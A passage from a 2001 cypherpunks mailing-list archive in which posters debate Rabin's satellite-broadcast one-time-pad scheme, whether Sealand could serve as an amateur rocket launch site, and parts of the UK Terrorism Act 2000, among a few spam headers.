
-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Carol Braddock
Sent: Tuesday, February 20, 2001 9:35 PM
To: cypherpunks at Algebra.COM
Subject: RE: The Key Vanishes: Scientist Outlines Unbreakable Code



Could the randomization inserted into the GPS system be used for a global
random number server? I think it was in the form of time jitter, so you
would have to use the difference between successive readings.

-----Original Message-----
From: owner-cypherpunks at minder.net
[mailto:owner-cypherpunks at minder.net]On Behalf Of Phillip H. Zakas
Sent: Tuesday, February 20, 2001 7:06 PM
To: cypherpunks at EINSTEIN.ssz.com
Subject: RE: The Key Vanishes: Scientist Outlines Unbreakable Code



if this is true ($100K to launch) I'd help defray some of this cost just as
a mechanism to distribute/manage my own keys.  but i suspect the satellite
itself is pretty expensive.  when I looked into this a few years back the
annual management of a satellite was about $250K.  I assume it's less
expensive now?  also key management can be handled from the ground pretty
well.  i wouldn't use the satellite as the source of the key, i'd use it as
a kind of reflector instead.

instead of launching a dedicated satellite why not rent time on several
existing satellites and use them as reflectors?  it's a lot less expensive
and key management can be handled from the ground.

phillip

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Jim Choate
Sent: Tuesday, February 20, 2001 5:46 PM
To: cypherpunks at einstein.ssz.com
Subject: Re: The Key Vanishes: Scientist Outlines Unbreakable Code




On Tue, 20 Feb 2001, Ray Dillinger wrote:

> The rest of your post, I agree with.
>
> First, your orbital
> random number server can only be put there by someone with
> enough bucks to launch a rocket -- whom you have to trust
> implicitly. None of the twenty or thirty people whom I
> trust implicitly has that much money.  Heck, I don't even
> think I personally *know* anyone who has that much money.

Look into experimental rocketry and 'can satellites' (there's a link on /.
about the later). The cost to put a bird in space is probably around
$100k right now.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------






From markzmizz at gmw.com  Tue Feb 20 22:01:05 2001
From: markzmizz at gmw.com (markzmizz at gmw.com)
Date: Wed, 21 Feb 01 01:01:05 EST
Subject: Hi There!
Message-ID: <200102212011828.SM00235@210.12.12.55>


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From popkin at nym.alias.net  Tue Feb 20 17:40:45 2001
From: popkin at nym.alias.net (D.Popkin)
Date: 21 Feb 2001 01:40:45 -0000
Subject: [Sovereignty v. global justice [was... Mohammed gets Miranda]]
Message-ID: <20010221014045.14901.qmail@nym.alias.net>

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From jim_windle at eudoramail.com  Tue Feb 20 22:53:24 2001
From: jim_windle at eudoramail.com (Jim Windle)
Date: Wed, 21 Feb 2001 01:53:24 -0500
Subject: Sealand and Experimental Rocketry
Message-ID: <JBIDLPBHDEBHBAAA@shared1-mail.whowhere.com>


I think Tim's point was simply that Sealand's location is too far north to be a good launch site.  To put a useful satellite in an orbit with a useful footprint for this purpose from a launch site so far north would require a lot lift capacity eliminating small launch systems, raising the issue of Sealand's ability to support the launch infrastructure.  It would probably also mean launching to the east over highly populated areas in the EC which would probably object to the launch as well. 
--

On Tue, 20 Feb 2001 20:59:25   Jim Choate wrote:
>
>
>On Tue, 20 Feb 2001, Tim May wrote:
>
>> Sealand is a _terrible_ launch location. For multiple reasons.
>> 
>> Your ignorance is astounding to behold.
>
>Really? You know of another place that is likely to allow you to launch
>rockets to LEO with the express intent of putting wild-card remailers and 
>such in orbit? You know many countries with the sort of technical
>infrastructure required for even amateur attempts? While it's true it's
>latitude and weather aren't optimal for any sort of sustained commercial
>or government effort but we're not talking about that now are we? It's
>certainly someplace on the E. coast of the horn of Africa would be ideal I
>think the S. Africans ban amatuer experimental rocketry (you are aware
>MOST countries ban amateur rocketry?).
>
>No, given the choices it's about optimal. Belize would be a good place as
>well provded you could get permission. There being a member of the English
>commonwealth will probably prohibit it.
>
>    ____________________________________________________________________
>
>           Before a larger group can see the virtue of an idea, a
>           smaller group must first understand it.
>
>                                           "Stranger Suns"
>                                           George Zebrowski
>
>       The Armadillo Group       ,::////;::-.          James Choate
>       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>       www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                           -====~~mm-'`-```-mm --'-
>    --------------------------------------------------------------------
>
>
>


Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com




From ravage at einstein.ssz.com  Wed Feb 21 05:21:22 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 07:21:22 -0600 (CST)
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <3A93AB89.203A6AAF@ricardo.de>
Message-ID: <Pine.LNX.3.96.1010221071710.5925j-100000@einstein.ssz.com>



On Wed, 21 Feb 2001, Tom wrote:

> check back in the archives, early october last year. you'll find an
> extensive discussion and several posted algorithms which - while not
> perfect - should work well enough, especially in the kind of controlled,
> closed environment that the original poster is working with.

Which of the three list archives? I'm subscribers to all three of the
major lists you sent this to and NONE of them (especially if you're
talking about the moronic discussion on cypherpunks from a couple of
months ago - where NOTHING, especially no working algorithms were
discussed) have ever demonstrated a single algorithm that can decide if an
arbitrary block of symbols is encrypted or not (unless of course you know 
a priori by pre-defining it, which isn't the same problem as you describe 
at all).

Ah, now you change the rules of the game with 'controlled environment'.
That wasnt' in  your first description. I told you there was no such
algorithm.

ps shooting the can-sat down isn't the point, and to answer your
   question, a lot more than it costs to put them up there.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at einstein.ssz.com  Wed Feb 21 05:23:12 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 07:23:12 -0600 (CST)
Subject: Sealand and Experimental Rocketry
In-Reply-To: <3A93B14C.661BE5A3@ccs.bbk.ac.uk>
Message-ID: <Pine.LNX.3.96.1010221072140.5925l-100000@einstein.ssz.com>



On Wed, 21 Feb 2001, Ken Brown wrote:

> WHAT???????????????????????
> 
> It is at about 52 degrees north, IIRC. If you had high-school physics
> you'd see the problem with that.

Closer to 60 if you actuallly check a map.

Soluble problem with respect to Lat. There are more issues than simple
launch physics involved here.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From declan at well.com  Wed Feb 21 06:23:22 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 21 Feb 2001 09:23:22 -0500
Subject: Sealand and Experimental Rocketry
In-Reply-To: <3A93B1DC.BDCEA38B@ccs.bbk.ac.uk>; from k.brown@ccs.bbk.ac.uk on Wed, Feb 21, 2001 at 12:17:32PM +0000
References: <Pine.LNX.3.96.1010220205345.5925R-100000@einstein.ssz.com> <3A93B1DC.BDCEA38B@ccs.bbk.ac.uk>
Message-ID: <20010221092322.B3485@cluebot.com>


On Wed, Feb 21, 2001 at 12:17:32PM +0000, Ken Brown wrote:
> There have been commercial launches from Kenya, and from offshore
> platforms in the Indian Ocean.

Right. I recall the company is SeaLaunch (I wrote about them once, a 
Boeing venture, I believe) and uses an old oil platform they towed there
from the Atlantic.

SeaLand is not exactly quite as capable.

-Declan




From bfk at mindspring.com  Wed Feb 21 09:51:51 2001
From: bfk at mindspring.com (Blank Frank)
Date: Wed, 21 Feb 2001 09:51:51 -0800
Subject: Time to liberate the brits..
Message-ID: <3A940036.3850B7EF@mindspring.com>



13. - (1) A person in a public place commits an offence
                              if he-


                                  (a) wears an item of clothing, or

                                  (b) wears, carries or displays an
article,

                              in such a way or in such circumstances as
to arouse
                              reasonable suspicion that he is a member
or supporter of a
                              proscribed organisation.


                                  (2) A constable in Scotland may arrest
a person without
                              a warrant if he has reasonable grounds to
suspect that the
                              person is guilty of an offence under this
section.

http://www.legislation.hmso.gov.uk/acts/acts2000/00011--c.htm#11


Other tidbits:


58. - (1) A person commits an offence if-


                               (a) he collects or makes a record of
information of a kind
                               likely to be useful to a person
committing or preparing an
                               act of terrorism, or

                               (b) he possesses a document or record
containing
                               information of that kind.

                               (2) In this section "record" includes a
photographic or
                           electronic record.


                               (3) It is a defence for a person charged
with an offence
                           under this section to prove that he had a
reasonable excuse for
                           his action or possession.



89. - (1) An officer may stop a person for so long as
                                 is necessary to question him to
ascertain-


                                     (a) his identity and movements;

                                     (b) what he knows about a recent
explosion or
                                     another recent incident endangering
life;

                                     (c) what he knows about a person
killed or
                                     injured in a recent explosion or
incident.

                                     (2) A person commits an offence if
he-


                                     (a) fails to stop when required to
do so under this
                                     section,

                                     (b) refuses to answer a question
addressed to him
                                     under this section, or

                                     (c) fails to answer to the best of
his knowledge
                                     and ability a question addressed to
him under this
                                     section.




From ptrei at rsasecurity.com  Wed Feb 21 07:28:22 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Wed, 21 Feb 2001 10:28:22 -0500
Subject: Sealand and Experimental Rocketry
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBB8@exna07.securitydynamics.com>




> ----------
> From: 	Jim Windle[SMTP:jim_windle at eudoramail.com]
> Reply To: 	Jim Windle
> Sent: 	Wednesday, February 21, 2001 1:53 AM
> To: 	cypherpunks at einstein.ssz.com
> Subject: 	CDR: Re: Sealand and Experimental Rocketry
> 
> I think Tim's point was simply that Sealand's location is too far north to
> be a good launch site.  To put a useful satellite in an orbit with a
> useful footprint for this purpose from a launch site so far north would
> require a lot lift capacity eliminating small launch systems, raising the
> issue of Sealand's ability to support the launch infrastructure.  It would
> probably also mean launching to the east over highly populated areas in
> the EC which would probably object to the launch as well. 
> --
> 
See:
> http://www.stanford.edu/dept/news/report/news/january31/opal-a.html
> 
Launching these amateur sats costs about $50k (http://www.osss.com/), 
but there are buts

Biggest is:

You're only getting to LEO - about 500 miles up. Any given LEO satellite is
visible from a
given spot only for short periods every few days (see any of the sites
giving spotting
times for the ISS for examples). Thus, the services of a sat are only
occasionally
available. Getting to geosynchronous orbit is much more expensive, and
requires
a satellite with much more sensitive antenna and more powerful transmitters
(you're
about 50x are far away). Even then, you'd need at least 3 sats to get
continuous 
coverage.

Rabin's scheme requires (even given the the unobtanium-like nature of a
trustworthy
third party terabit/s true randomness source) that both Alice and Bob be
able to 
key into the bitstream at the same 'time'. At very least they have to see
the same
sat at the same time, and even then their different (and changing as the sat
moves)
distances from the sat make getting crypto sync challenging (to say the
least).

If we really had a trustworthy 3rd party, there are lots of other more
practical 
protocols we could use. 

Peter Trei







From ptrei at rsasecurity.com  Wed Feb 21 07:28:22 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Wed, 21 Feb 2001 10:28:22 -0500
Subject: Sealand and Experimental Rocketry
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBB8@exna07.securitydynam
  ics.com>


> ----------
> From: 	Jim Windle[SMTP:jim_windle at eudoramail.com]
> Reply To: 	Jim Windle
> Sent: 	Wednesday, February 21, 2001 1:53 AM
> To: 	cypherpunks at einstein.ssz.com
> Subject: 	CDR: Re: Sealand and Experimental Rocketry
> 
> I think Tim's point was simply that Sealand's location is too far north to
> be a good launch site.  To put a useful satellite in an orbit with a
> useful footprint for this purpose from a launch site so far north would
> require a lot lift capacity eliminating small launch systems, raising the
> issue of Sealand's ability to support the launch infrastructure.  It would
> probably also mean launching to the east over highly populated areas in
> the EC which would probably object to the launch as well. 
> --
> 
See:
> http://www.stanford.edu/dept/news/report/news/january31/opal-a.html
> 
Launching these amateur sats costs about $50k (http://www.osss.com/), 
but there are buts

Biggest is:

You're only getting to LEO - about 500 miles up. Any given LEO satellite is
visible from a
given spot only for short periods every few days (see any of the sites
giving spotting
times for the ISS for examples). Thus, the services of a sat are only
occasionally
available. Getting to geosynchronous orbit is much more expensive, and
requires
a satellite with much more sensitive antenna and more powerful transmitters
(you're
about 50x are far away). Even then, you'd need at least 3 sats to get
continuous 
coverage.

Rabin's scheme requires (even given the the unobtanium-like nature of a
trustworthy
third party terabit/s true randomness source) that both Alice and Bob be
able to 
key into the bitstream at the same 'time'. At very least they have to see
the same
sat at the same time, and even then their different (and changing as the sat
moves)
distances from the sat make getting crypto sync challenging (to say the
least).

If we really had a trustworthy 3rd party, there are lots of other more
practical 
protocols we could use. 

Peter Trei




From jchoate at dev.tivoli.com  Wed Feb 21 08:36:29 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 21 Feb 2001 10:36:29 -0600
Subject: Slashdot | Impartial Scientists In The Court Systems
Message-ID: <3A93EE8D.A1BAAFCB@dev.tivoli.com>


http://slashdot.org/articles/01/02/21/148234.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From jchoate at dev.tivoli.com  Wed Feb 21 08:39:06 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 21 Feb 2001 10:39:06 -0600
Subject: Slashdot | DataPlay - Flash Killer or Copy-Control Nightmare?
Message-ID: <3A93EF2A.7EDED505@dev.tivoli.com>


http://slashdot.org/askslashdot/01/02/08/0623216.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From aimee.farr at pobox.com  Wed Feb 21 09:19:58 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Wed, 21 Feb 2001 11:19:58 -0600
Subject: UK TA2000 Sect. 12: "facilitating terrorist meetings" | Privacy consulting? Newsgroups? Privacy providers?
In-Reply-To: <3A92F05D.335EC6A5@ssz.com>
Message-ID: <NEBBJHBKILFDJEFIABHPMEEFCDAA.aimee.farr@pobox.com>


Sect 12 Support Offense -- "facilitating meetings." Snip below.

Also see fundraising, money laundering, etc. where all it takes is
"reasonable cause to suspect" ....a negligence standard? This act seems to
mark the advent of "terrorist due diligence." I know many of you offer
paid/pro-bono "privacy"/TSCM consulting, or are providers of some sort that
could be viewed as enabling "designated" terrorist groups. Irrespective of
this specific act, I find this is a disturbing train of regulatory thought.

[LINKS]
http://www.theregister.co.uk/content/8/17073.html (Article suggests
Newsgroups & ISPs)
Protest site: http://www.blagged.freeserve.co.uk/ta2000/index.htm
Act: http://www.blagged.freeserve.co.uk/ta2000/fhome.htm

=========================================
12. - (1) A person commits an offence if-
=========================================

  (a) he invites support for a proscribed organisation, and
  (b) the support is not, or is not restricted to, the provision of money or
other property (within the meaning of section 15).
      (2) A person commits an offence if he arranges, manages or assists in
arranging or managing a meeting which he knows is-

  (a) to support a proscribed organisation,
  (b) to further the activities of a proscribed organisation, or
  (c) to be addressed by a person who belongs or professes to belong to a
proscribed organisation.
      (3) A person commits an offence if he addresses a meeting and the
purpose of his address is to encourage support for a proscribed organisation
or to further its activities.

      (4) Where a person is charged with an offence under subsection (2)(c)
in respect of a private meeting it is a defence for him to prove that he had
no reasonable cause to believe that the address mentioned in subsection
(2)(c) would support a proscribed organisation or further its activities.

      (5) In subsections (2) to (4)-

  (a) "meeting" means a meeting of three or more persons, whether or not the
public are admitted, and
  (b) a meeting is private if the public are not admitted.
      (6) A person guilty of an offence under this section shall be liable-

  (a) on conviction on indictment, to imprisonment for a term not exceeding
ten years, to a fine or to both, or
  (b) on summary conviction, to imprisonment for a term not exceeding six
months, to a fine not exceeding the statutory maximum or to both.
Uniform.
<snip> ) Crown Copyright 2000


Aimee E. Farr, Esq.
Law Office Of Aimee E. Farr
5400 Bosque, Suite 675
Waco, Texas 76710-4418
T: 254.751.0030
F: 254.751.0963
E: mailto:aimee.farr at pobox.com
K: 0x94AB84F1





From jim_windle at eudoramail.com  Wed Feb 21 08:39:14 2001
From: jim_windle at eudoramail.com (Jim Windle)
Date: Wed, 21 Feb 2001 11:39:14 -0500
Subject: Sealand and Experimental Rocketry
Message-ID: <IKNPLJOGLDBJBAAA@shared1-mail.whowhere.com>


 
--

On Wed, 21 Feb 2001 09:23:22   Declan McCullagh wrote:
>
>On Wed, Feb 21, 2001 at 12:17:32PM +0000, Ken Brown wrote:
>> There have been commercial launches from Kenya, and from offshore
>> platforms in the Indian Ocean.
>
>Right. I recall the company is SeaLaunch (I wrote about them once, a 
>Boeing venture, I believe) and uses an old oil platform they towed there
>from the Atlantic.


Yes, Boeing is a partner, as is Kraevner a Norweigan company that supplied a refurbished semisubmersible drilling rig.  They use Russian Zenit rockets which are loaded on the platform in Long Beach then the launch platform and command and support ships move to equatorial waters for the launch.  And you're absolutely right, SeaLand can't support that sort of operation, nor does it provide an equatorial launch site.

Jim

>SeaLand is not exactly quite as capable.
>
>-Declan
>
>


Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com




From jim_windle at eudoramail.com  Wed Feb 21 08:51:56 2001
From: jim_windle at eudoramail.com (Jim Windle)
Date: Wed, 21 Feb 2001 11:51:56 -0500
Subject: Sealand and Experimental Rocketry
Message-ID: <CFOOOJCANOBJBAAA@shared1-mail.whowhere.com>


 
--

On Wed, 21 Feb 2001 07:23:12   Jim Choate wrote:
>
>
>On Wed, 21 Feb 2001, Ken Brown wrote:
>
>> WHAT???????????????????????
>> 
>> It is at about 52 degrees north, IIRC. If you had high-school physics
>> you'd see the problem with that.
>
>Closer to 60 if you actuallly check a map.

When did they move the Thames estuary?  Sealand's site says they are just north of the Thames estuary which is between 51 and 52 degrees north according to my map.
60 degrees north is the Shetland Islands.

>Soluble problem with respect to Lat. There are more issues than simple
>launch physics involved here.
>
>    ____________________________________________________________________
>
>           Before a larger group can see the virtue of an idea, a
>           smaller group must first understand it.
>
>                                           "Stranger Suns"
>                                           George Zebrowski
>
>       The Armadillo Group       ,::////;::-.          James Choate
>       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>       www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                           -====~~mm-'`-```-mm --'-
>    --------------------------------------------------------------------
>
>


Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com




From honig at sprynet.com  Wed Feb 21 12:11:12 2001
From: honig at sprynet.com (David Honig)
Date: Wed, 21 Feb 2001 12:11:12 -0800
Subject: FAQ? how to set up a cross-platform encrypted mailing
  list/forum
In-Reply-To: <Pine.LNX.3.96.1010221000926.5925e-100000@einstein.ssz.com>
References: <009001c09ba5$27fd6180$69cd243f@josephas>
Message-ID: <3.0.5.32.20010221121112.009b8a90@207.69.200.219>

At 12:11 AM 2/21/01 -0600, Jim Choate wrote:
>
>On Tue, 20 Feb 2001, Joseph Ashwood wrote:
>
>> So you write it so that unencrypted e-mail simply will be bounced. Simple
>> enough to do.
>
>Really? Provide a reference to such an algorithm? Determining if a

1. look for appropriate headers
and/or
2. convert to binary and measure the entropy of the sample.  Nothing written
by human hand comes close to pure noise.

This counters trivial spam and would prevent unintentional cleartext
transmissions.
Are we assuming that participants have some interest in keeping the threads
confidential?
Or some of them malicious? 








From honig at sprynet.com  Wed Feb 21 12:12:59 2001
From: honig at sprynet.com (David Honig)
Date: Wed, 21 Feb 2001 12:12:59 -0800
Subject: Sealand and Experimental Rocketry
In-Reply-To: <JBIDLPBHDEBHBAAA@shared1-mail.whowhere.com>
Message-ID: <3.0.5.32.20010221121259.009bcc10@207.69.200.219>


At 01:53 AM 2/21/01 -0500, Jim Windle wrote:
>I think Tim's point was simply that Sealand's location is too far north to
be a good launch site.

Undoubtably, but there are also Range Safety issues.. like them pesky
europeans
all around...







From k.brown at ccs.bbk.ac.uk  Wed Feb 21 04:15:08 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Wed, 21 Feb 2001 12:15:08 +0000
Subject: Sealand and Experimental Rocketry
References: <Pine.LNX.3.96.1010220165430.5925E-100000@einstein.ssz.com>
Message-ID: <3A93B14C.661BE5A3@ccs.bbk.ac.uk>


Jim Choate wrote:
> 
> Sealand would be a perfect place for a group of suitably motivated persons
> to attempt to place experimental class rockets with can-sat's into orbit.

WHAT???????????????????????

It is at about 52 degrees north, IIRC. If you had high-school physics
you'd see the problem with that.

It is within the largest concentration of human population on the planet
- only a few hundred km from Koln or the Ruhr or Rotterdam  & tens of km
from or London.

It is not in the middle of an ocean, it is in the bloody Thames estuary.
It is within sight of thousands of homes and businesses.

It is near the busiest shipping lanes in the world.

It is near chemical works, oil refineries, and factories.

It is downrange of  a huge natural gas field with dozens of producing
platforms.

It is on commercial air routes to the Netherlands and Belgium.

It is within 5 minutes flight time of major US military bases.

If you are Americo-centric enough to  have no conception of the
geographical location of Sealand, than imagine a place that shared the
WORST factors for launch site selection of Galveston, the Yukon, the
Erie Canal, and Chesapeake bay.

And only a few hundred miles downwind of the Russian early warning
systems in Kaliningrad. Those guys still have ICBMs you know, and they
are still scared that you Americans are going to first strike (yes, I
know it is nonsense, but that's what some of them think)

It might be hard to imagine a less suitable orbital launch site. I
suspect if anything like that was tried the British would board the
place within hours. If they really thought it was an independent
territory (they don't - in fact they think they own it but they just
don't want to have to go to the expense of repairing it & don't really
care what the inhabitants get up to as long as it doesn't cost them any
money) then they would declare war on it. Or rather not, because who
declares war any more? People who are willing to bomb Baghdad just to
make George Bush look good are hardly likely to hold off from shooting a
few techy types in their own back yard in order to save to world from
nuclear destruction. If the Brits didn't do it the Americans would -
they have enough firepower just over the horizon. 

We used to have these really cool things called "maps". They help you to
visualise where things are. They are really useful sometimes,  Or maybe
you never leave Texas because you can't find the freeway?

Ken (in near shock)




From k.brown at ccs.bbk.ac.uk  Wed Feb 21 04:17:32 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Wed, 21 Feb 2001 12:17:32 +0000
Subject: Sealand and Experimental Rocketry
References: <Pine.LNX.3.96.1010220205345.5925R-100000@einstein.ssz.com>
Message-ID: <3A93B1DC.BDCEA38B@ccs.bbk.ac.uk>


Jim Choate wrote:
 
> On Tue, 20 Feb 2001, Tim May wrote:
> 
> > Sealand is a _terrible_ launch location. For multiple reasons.
> >
> > Your ignorance is astounding to behold.
> 
> Really? You know of another place that is likely to allow you to launch
> rockets to LEO with the express intent of putting wild-card remailers and
> such in orbit? You know many countries with the sort of technical
> infrastructure required for even amateur attempts? While it's true it's
> latitude and weather aren't optimal for any sort of sustained commercial
> or government effort but we're not talking about that now are we? It's
> certainly someplace on the E. coast of the horn of Africa would be ideal I
> think the S. Africans ban amatuer experimental rocketry (you are aware
> MOST countries ban amateur rocketry?).


South Africa is about as far from the Horn of Africa as New York is from
Peru.

There have been commercial launches from Kenya, and from offshore
platforms in the Indian Ocean.

Ken




From jchoate at dev.tivoli.com  Wed Feb 21 10:24:58 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 21 Feb 2001 12:24:58 -0600
Subject: Slashdot | Rebel Code (Book review)
Message-ID: <3A9407FA.61A7FAC1@dev.tivoli.com>


http://slashdot.org/books/01/01/29/2037257.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From tom at ricardo.de  Wed Feb 21 03:42:44 2001
From: tom at ricardo.de (Tom)
Date: Wed, 21 Feb 2001 12:42:44 +0100
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
References: <Pine.LNX.4.21.0102201350001.24080-100000@bolt.sonic.net>
Message-ID: <3A93A9B4.39AD773@ricardo.de>


Ray Dillinger wrote:
> >essentially, a one-time-pad with a central source of randomness, the key
> >being the point in the random-number-stream that you start with.
> 
> Not quite.  The point which you start with in the random number
> stream is one of the keys, but the system he describes also includes
> another, which is used to encrypt the random number stream prior
> to the OTP's XOR operation.

good point, but IMHO it actually makes the system WEAKER yet, because it
gives more feeling of security to alice and bob, which may be highly
betraying because it also adds  key-exchange trouble and we all know
that is the real weakness of many systems.


> What if it was just a few dozen Blum-Blum-Shub generators
> up there spewing all those bits?  We'd never see the
> difference, but a data thief who was "in the know" about
> how they were keyed could recreate any sequence at any time.

my point exactly. one way or the other you can't TRUST the stream,
therefore it is worthless.


> The basic problem is the problem you always get with systems
> that have a "trusted server" sitting in the middle -- can you
> really trust that server?  Can you inspect it, and inspect
> the code it's running, personally?  Can you verify that the
> thing you were allowed to inspect is the same as the thing
> that you're trusting?

especially when it's sitting in orbit, where even if you wanted to and
were allowed to you simply CAN'T get at it.
and it's pretty obvious that examining it while it's still down on earth
does nothing. any stage magician worth his money can switch things right
under your nose, and any of the major TLAs would surely be capable to
switch a satellite even with dozens of people believing they've been
watching it continuously.


> I don't see any government, or for that matter any criminal
> organization, with a significant investment in SigInt allowing
> such a launch to go up untampered if they could possibly
> prevent it.

s/prevent/subvert/


> Finally, this system doesn't protect storage.  It protects
> communications, and communications only.  Think about it.  If
> you protect storage, you have to have the bits from the OTP
> around somewhere to decrypt it.  If you have the bits from the
> OTP around somewhere, you no longer have an unbreakable cipher.

didn't think of that. yet another nail in the coffin. so, what do we
have? a scientist (or is he? anyone checked the credentials?) who is
much better at generating media hype than at cryptography. :)




From tom at ricardo.de  Wed Feb 21 03:44:45 2001
From: tom at ricardo.de (Tom)
Date: Wed, 21 Feb 2001 12:44:45 +0100
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
References: <Pine.LNX.3.96.1010220164402.5925C-100000@einstein.ssz.com>
Message-ID: <3A93AA2D.250F532B@ricardo.de>


Jim Choate wrote:
> > First, your orbital
> > random number server can only be put there by someone with
> > enough bucks to launch a rocket -- whom you have to trust
> > implicitly. None of the twenty or thirty people whom I
> > trust implicitly has that much money.  Heck, I don't even
> > think I personally *know* anyone who has that much money.
> 
> Look into experimental rocketry and 'can satellites' (there's a link on /.
> about the later). The cost to put a bird in space is probably around
> $100k right now.

but what is the cost for EVE (hm, three letters - how fitting) to shoot
it down?




From tom at ricardo.de  Wed Feb 21 03:50:33 2001
From: tom at ricardo.de (Tom)
Date: Wed, 21 Feb 2001 12:50:33 +0100
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
References: <Pine.LNX.3.96.1010221000926.5925e-100000@einstein.ssz.com>
Message-ID: <3A93AB89.203A6AAF@ricardo.de>


Jim Choate wrote:
> > So you write it so that unencrypted e-mail simply will be bounced. Simple
> > enough to do.
> 
> Really? Provide a reference to such an algorithm? 

check back in the archives, early october last year. you'll find an
extensive discussion and several posted algorithms which - while not
perfect - should work well enough, especially in the kind of controlled,
closed environment that the original poster is working with.




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From: emc221 at yahoo.com (emc221 at yahoo.com)
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From hotstocknews at hotmail.com  Wed Feb 21 13:32:43 2001
From: hotstocknews at hotmail.com (hotstocknews at hotmail.com)
Date: Wed, 21 Feb 2001 13:32:43 -0800 (PST)
Subject: Clements (OTCBB:CPHX) signs contract with large Chinesse Import Company
Message-ID: <200102212132.NAA20031@toad.com>

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From bear at sonic.net  Wed Feb 21 13:46:42 2001
From: bear at sonic.net (Ray Dillinger)
Date: Wed, 21 Feb 2001 13:46:42 -0800 (PST)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <3A93A9B4.39AD773@ricardo.de>
Message-ID: <Pine.LNX.4.21.0102211331450.6919-100000@bolt.sonic.net>




On Wed, 21 Feb 2001, Tom wrote:

>Ray Dillinger wrote:

>> What if it was just a few dozen Blum-Blum-Shub generators
>> up there spewing all those bits?  We'd never see the
>> difference, but a data thief who was "in the know" about
>> how they were keyed could recreate any sequence at any time.

>my point exactly. one way or the other you can't TRUST the stream,
>therefore it is worthless.

Here's an interesting thought, though.  There are all kinds of 
number generators already hanging in the sky, and some of them 
are fairly random, so this thing might actually have a prayer 
of working.

Take a good telescope, and focus on, eg, Jupiter's Red Spot. 
(ignoring for a moment the problems of focus and synchronization).
That's turbulence - a pretty damn good source of randomness. 
If Bob and Alice can see the same image, and derive the same 
stream of random numbers from it, this scheme might be salvaged 
yet. The bandwidth wouldn't be quite as high, especially allowing 
for enough "roughness" to keep it likely that the number streams 
Alice and Bob get have enough correlation to work with - but it 
might serve. 


				Ray






From info at myofficeinusa.com  Wed Feb 21 01:24:46 2001
From: info at myofficeinusa.com (info at myofficeinusa.com)
Date: Wed, 21 Feb 2001 14:54:46 +0530
Subject: open your instant office in USA
Message-ID: <36943.621375115737600.264484@localhost>

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From aimee.farr at pobox.com  Wed Feb 21 13:00:17 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Wed, 21 Feb 2001 15:00:17 -0600
Subject: UK TA2000 Sect. 19: duty to report suspicious info 
In-Reply-To: <NEBBJHBKILFDJEFIABHPMEEFCDAA.aimee.farr@pobox.com>
Message-ID: <NEBBJHBKILFDJEFIABHPIEEOCDAA.aimee.farr@pobox.com>


blank frank said:
< "time to liberate the Brits..."

Makes you want to dress up like an Indian, storm aboard a moored British
sailing vessel, and chunk cargo into the harbor, doesn't it? Domestic
"property" terrorism is increasingly directed at corporate/private
interests; and you see those interests addressed in spades here.

Section 19 creates an affirmative duty to disclose information to
authorities if the information is "suspicious" as to past or future
